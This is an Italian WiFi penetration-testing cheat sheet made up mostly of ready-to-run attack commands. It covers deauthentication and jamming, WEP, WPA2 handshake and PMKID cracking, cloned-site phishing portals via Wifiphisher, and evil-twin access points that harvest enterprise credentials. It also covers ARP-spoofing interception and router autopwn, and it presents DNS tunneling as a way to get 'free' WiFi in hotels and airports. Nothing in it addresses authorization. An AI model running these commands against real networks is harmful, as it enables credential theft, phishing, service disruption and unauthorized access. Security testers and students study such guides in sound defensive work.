Guida al Penetration Testing WiFi

Indice

1. Comandi di base

2. Reti aperte

   2.1. Portali captive

   2.2. Attacco Man in the Middle

3. Cracking WEP

   3.1. Nessun client

4. Cracking WPA2-PSK

   4.1. Cracking dell'handshake a 4 vie

   4.2. Attacco PMKID

   4.3. Attacco senza AP

5. WPA2-Enterprise

   5.1. Falsi punti di accesso

   5.2. Forza bruta

   5.3. Metodi EAP supportati

6. Altri attacchi

   6.1. Krack Attack e Frag Attack

   6.2. OSINT

   6.3. Jamming WiFi

   6.4. Altri framework

7. Post-sfruttamento

   7.1. Attacco al router

   7.2. Tipi di scanner

   7.3. Spoofing

1. Comandi di base

Imposta variabile d'ambiente

VARIABLE=value

Controlla modalità interfaccia

iwconfig $IFACE

Controlla stato interfaccia

ifconfig $IFACE

Imposta modalità monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Elenca reti

1. Imposta modalità monitor

2. Esegui Airodump-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Deautenticazione

1. Solo un client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Un punto di accesso (= tutti i client nell'AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Ottieni SSID nascosto con client

1. Elenca reti

Elenca le reti usando Airodump-ng e ottieni l'indirizzo MAC dell'AP ($AP_MAC) e uno di un client ($CLIENT_MAC). Non fermare la cattura.

2. Deautentica

In un altro terminale, deautentica un client o tutti. Quando Airodump-ng cattura un handshake da questa rete, il nome o ESSID apparirà nel primo terminale:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Ottieni SSID nascosto senza client

1. Elenca reti

Elenca le reti usando Airodump-ng e ottieni l'indirizzo MAC dell'AP ($AP_MAC) e uno di un client ($CLIENT_MAC). Non fermare la cattura.

2.a. Esegui un attacco dizionario

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Oppure esegui un attacco a forza bruta

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Per il set di caratteri è possibile usare l (lettere minuscole), u (maiuscole), n (numeri), c (minuscole+maiuscole), m (minuscole+maiuscole+numeri) o a (tutti stampabili).

2. Reti aperte

2.1. Portali captive

2.1.1. Falsi portali captive

1. Clona un sito web usando HTTrack

2. Installa Wifiphisher. Aggiungi il risultato di HTTrack in una nuova cartella in wifiphisher/data/phishing-pages/new_page/html e un file di configurazione in wifiphisher/data/phishing-pages/new_page/config.ini.

3. Ricompila il progetto usando python setup.py install o il binario in bin.

4. Questo comando funziona correttamente nell'ultima versione di Kali dopo aver installato hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: Spoofing MAC

Il primo metodo per bypassare un portale captive è cambiare il tuo indirizzo MAC con quello di un utente già autenticato.

1. Scansiona la rete e ottieni la lista degli indirizzi IP e MAC. Puoi usare:

• nmap

• Uno script personalizzato come questo (Bash) o questo (Python)

2. Cambia i tuoi indirizzi IP e MAC. Puoi usare:

• macchanger

• Uno script personalizzato come questo (Bash)

Inoltre, puoi usare script per automatizzare il processo come:

• Script Poliva

• Hackcaptiveportals

2.1.3. Bypass 2: Tunneling DNS

Un secondo metodo è creare un tunnel DNS. Per questo, è necessario avere un proprio server DNS accessibile. Puoi usare questo metodo per bypassare il portale captive e ottenere WiFi "gratuito" in hotel, aeroporti...

1. Controlla che i nomi di dominio siano risolti:

nslookup example.com

2. Crea 2 record DNS (su Digital ocean, Afraid.org...):

• Un "record A": dns.$DOMAIN che punta a $SERVER_IP (Esempio: dns.domain.com 139.59.172.117)

• Un "record NS": hack.$DOMAIN che punta a dns.$DOMAIN (Esempio: hack.domain.com dns.domain.com)

3. Esecuzione nel server

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Controlla se funziona correttamente qui

5. Esecuzione nel client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Crea il tunnel

ssh -D 8080 [email protected]

2.2. Attacco Man in the Middle

Una volta che sei nella rete, puoi testare se è vulnerabile agli attacchi Man in the Middle.

1. Attacco ARP Spoofing usando Ettercap

2. Sniffa il traffico usando Wireshark o TCPdump

3. Analizza il traffico usando PCredz (Linux) o Network Miner (Windows)

3. Cracking WEP

1. Avvia la cattura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Accelera la cattura degli IV usando Fake authentication + Arp Request Replay Attack + Deautentica utente. Ferma Airodump a circa 100.000 IV diversi

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Cracka la password usando Aircrack-ng

aircrack-ng $PCAP_FILE

4. Cracking WPA2-PSK

4.1. Cracking dell'handshake a 4 vie

1. Avvia la cattura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Deautentica un utente. Ferma la cattura di airodump quando vedi un messaggio 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Opzione 1: Cracka l'handshake usando Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Puoi ottenere wordlist da qui.

4. Opzione 2: Cracka l'handshake usando Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Attacco PMKID

Puoi usare questo script o seguire questi passaggi:

1. Installa Hcxdumptool e Hcxtool (puoi usare questo script).

2. Ferma Network Manager

airmon-ng check kill

3a. Se vuoi attaccare un indirizzo MAC specifico

• Crea un file di testo ($FILTER_FILE) e aggiungi l'indirizzo MAC senza ":". Puoi usare sed e reindirizzare l'output su un file:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Cattura PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Crea $HASH_FILE

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

La struttura di ogni riga è: PMKID * MAC ROUTER * STATION * ESSID (controlla su: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Crackalo usando Hashcat (opzione 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

4.3. Attacco senza AP

Se hai accesso a un dispositivo client con la connessione WiFi accesa ma non c'è una rete nelle vicinanze, puoi comunque attaccare quella rete se il dispositivo client si è connesso in precedenza.

Per farlo, devi creare un Falso Punto di Accesso usando hostapd con un file di configurazione come questo, con qualsiasi password ma lo stesso nome di rete. Crea la rete fittizia, il dispositivo client proverà a connettersi e otterrai l'handshake a 4 vie come nella sezione 4.1 di questa guida.

5. WPA2-Enterprise

5.1 Falsi punti di accesso

Download macchine virtuali

Installazione locale

Se non vuoi usare la macchina virtuale, puoi installare tutto usando:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd & Freeradius-wpe

Avvia il punto di accesso usando:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Quando un client si connette, leggi i log con:

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Forza bruta

• Airhammer

5.3 Metodi EAP supportati

Trova metodi EAP supportati

• EAP_buster

6. Altri attacchi

6.1. Krack Attack e Frag Attack

Questi sono due attacchi avanzati scoperti dal grande Mathy Vanhoef:

• Krack Attack Scripts - Spiegato in questo sito

• Frag Attack Scripts - Spiegato in questo sito

6.2. OSINT

• Wigle

6.3. Jamming WiFi

• Wifijammer - Questo programma può inviare pacchetti di deautenticazione sia agli AP che ai client.

Un esempio per deautenticare tutti i dispositivi tranne un Falso Punto di Accesso:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Altri framework

Linux:

• Sniffair
• Wifi Pumpkin - Framework per attacco di punti di accesso rogue
• Eaphammer - Framework per falsi punti di accesso
• WEF - Framework per diversi tipi di attacchi per WPA/WPA2 e WEP, cracking automatico di hash e altro

Windows:

• Acrylic - Utile per la fase di ricognizione
• Ekahau - Utile per la pianificazione Wi-Fi
• Vistumbler - Utile per il wardriving

7. Post-sfruttamento

Una volta connesso alla rete

7.1. Attacco al router

• Routersploit - Framework di sfruttamento per dispositivi embedded - Prova "use scanners/autopwn"

7.2. Tipi di scanner

• Nmap/Zenmap - Scanner di sicurezza, scanner di porte e strumento di esplorazione della rete

• Masscan - La versione più veloce di nmap (può rompere cose, quindi fai attenzione)

• Netdiscover - Sniffing ARP. Molto utile se le reti sono molto segmentate

7.3. Spoofing

• Ettercap - Controlla se puoi fare un attacco MitM e sniffare tutto il traffico nella rete